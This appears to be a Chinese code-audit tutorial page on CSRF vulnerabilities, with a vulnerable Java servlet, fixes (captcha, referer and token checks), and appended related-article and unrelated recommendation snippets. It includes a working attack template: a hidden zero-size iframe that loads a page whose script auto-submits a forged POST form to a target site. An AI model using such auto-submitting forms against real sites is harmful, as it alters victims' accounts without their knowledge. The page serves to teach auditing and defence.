跨站请求伪造,也有人写出xsrf,黑客伪造用户的http请求,然后将http请求发送给存在csrf的网站,网站执行了伪造的http请求,就引发了跨站请求伪造

漏洞危害:攻击者盗用了你的身份信息,以你的名义发送恶意请求,如发送邮件,消息,盗取你的账号,甚至购买物品,虚拟货币转账等

漏洞本质:攻击者获取到重要参数,成功构造一个伪造请求,如http://www.xx.xx/xx.php?xx=xx&&id=1

挖掘思路:管理后台,会员中心,添加用户等,被引用的核心文件里面有没有验证token和referer相关的代码,没带token可以直接请求这个页面,没带referer则返回相同的数据

代码:
HttpServletRequest request, HttpServletResponse response)
{
    int userid=Integer.valueOf( request.getSession().getAttribute("userid").toString());
    String email=request.getParameter("email");
    String tel=request.getParameter("tel");
    String realname=request.getParameter("realname");
    Object[] params = new Object[4];
    params[0] = email;
    params[1] = tel;
    params[2] = realname;
    params[3] = userid;
    final String sql = "update user set email=?,tel=?,realname=? where userid=?";
    conn.execUpdate(sql,params);
}

代码中接收用户提交的参数“email,tel,realname”,之后修改了该用户的数据,一旦接收到一个用户发来的请求,就执行修改操作。提交表单代码:

<form action="http://localhost/servlet/modify" method="POST">
    <input name="email">
    <input name="tel">
    <input name="realname">
    <input name="userid">
    <input type="submit">
</form>
当用户点提交时,就会触发修改操作,如果“代码示例”中的代码,是xxxx.com上的一个web应用,那么恶意用户为了攻击xxxx.com的登录用户,可以构造2个HTML页面。

页面a.htm中,iframe一下b.htm,把宽和高都设为0。

<iframe src="b.htm" width="0" height="0"></frame> 这是为了当攻击发生时,受害用户看不到提交成功结果页面。
页面b.htm中,有一个表单,和一段脚本,脚本的作用是,当页面加载时,自动提交这个表单
<form id="modify" action="http://xxxx.com/servlet/modify" method="POST">
    <input name="email">
    <input name="tel">
    <input name="realname">
    <input name="userid">
    <input type="submit">
</form>

<script>
    document.getElementById("modify").submit();
</script>
攻击者只要把页面a.htm放在自己的web服务器上,并发送给登录用户即可。
用户打开a.htm后,会自动提交表单,发送给xxxx.com下的那个存在CSRF漏洞的web应用,所以用户的信息,就被迫修改了。

修复方案:验证码,添加referer验证,添加token验证

php代码审计7审计csrf漏洞的更多相关文章

  1. php代码审计9审计反序列化漏洞

    序列化与反序列化:序列化:把对象转换为字节序列的过程称为对象的序列化反序列化:把字节序列恢复为对象的过程称为对象的反序列化 漏洞成因:反序列化对象中存在魔术方法,而且魔术方法中的代码可以被控制,漏洞根 ...

  2. php代码审计6审计xss漏洞

    跨站脚本攻击(Cross Site Scripting)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的html代码,从而盗取用户资料,利用用户身份进行某种动作或者对 ...

  3. 【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  4. PHP代码审计笔记--CSRF漏洞

    0x01 前言 CSRF(Cross-site request forgery)跨站请求伪造.攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻 ...

  5. 2020/1/30 PHP代码审计之CSRF漏洞

    0x00 CSRF漏洞 CSRF(Cross-site request forgery)跨站请求伪造:也被称为"One Click Attack"或者Session Riding, ...

  6. 代码审计中的CSRF

    0x00 背景 CSRF漏洞中文名为“跨站请求伪造”,英文别名为“one-click-attack”.从字面上我们就可以看出,这是一种劫持其他用户进行非法请求的攻击方式,主要用于越权操作,与XSS相比 ...

  7. CSRF 漏洞测试

    CSRF简介: CSRF中文名:跨站请求伪造,英文译为:Cross-site request forgery,CSRF攻击就是attacker(攻击者)利用victim(受害者)尚未失效的身份认证信息 ...

  8. DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞

    DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...

  9. 浅谈CSRF漏洞

    前言: 看完小迪老师的CSRF漏洞讲解.感觉不行 就自己百度学习.这是总结出来的.   歌曲:   正文: CSRF与xss和像,但是两个是完全不一样的东西. xss攻击(跨站脚本攻击)储存型的XSS ...

随机推荐

  1. 温故而知新(java实现)单例模式的七种写法

    第一种(懒汉,线程不安全): Java代码 public class Singleton { private static Singleton instance; private Singleton ...

  2. python中的异常处理机制

    python中的异常处理 1.什么是异常 异常就是程序运行时发生错误的信号(在程序出现错误时,则会产生一个异常,若程序没有处理它,则会抛出该异常,程序的运行也随之终止),在python中,错误触发的异 ...

  3. js中slice,splice和split方法的区别

    1.slice(数组) 用法:array.slice(start,end) 解释:该方法是对数组进行部分截取,并返回一个数组副本:参数start是截取的开始数组索引,end参数等于你要取的最后一个字符 ...

  4. 用rand5()生成rand(n)

    问题:有函数rand5(),它能够等概率生成[0,5)之间的整数.由rand5()构造rand(n)使其能够等概率生成[0,n)之间的整数. 思路1:有rand5()先生成等概率生成0和1的rand0 ...

  5. 求正整数n的所有因子

    因子的概念:假如整数n除以m,结果是无余数的整数,那么我们称m就是n的因子. 需要注意的是,唯有被除数,除数,商皆为整数,余数为零时,此关系才成立.反过来说,我们称n为m的倍数. 求一个正整数n的所有 ...

  6. [luogu3391] 【模板】文艺平衡树(fhq-treap反转区间)

    解题关键:无旋treap模板. #include<iostream> #include<cstdio> #include<cstring> #include< ...

  7. 优化tomcat配置(从内存、并发、缓存3个方面)优化

    Tomcat有很多方面,我从内存.并发.缓存三个方面介绍优化方法. 一.Tomcat内存优化 Tomcat内存优化主要是对 tomcat 启动参数优化,我们可以在 tomcat 的启动脚本 catal ...

  8. Linux 各文件系统配置

    区分目录跟文件 可执行文件:可以拿出来直接运行的命令. 符号链接 重要的目录 bin 里面是命令. etc 重要的配置文件.各种软件的配置文件.以后要配置网络环境,linux运行环境都是在这里进行配置 ...

  9. spring框架 使用 JdbcTemplate 对数据进行增删改查

    user=LF password=LF jdbcUrl=jdbc:oracle:thin:@localhost:1521:orcl driverClass=oracle.jdbc.driver.Ora ...

  10. 2014年Linux 和开源技术回顾盘点

    ZDNet科技观察家StevenJ.Vaughan-Nichols在年终发表了对Linux和开源技术这一年跌宕起伏的总结,细数这一年中的惊喜和不堪. 2014Linux之殇 “心脏出血(Heartbl ...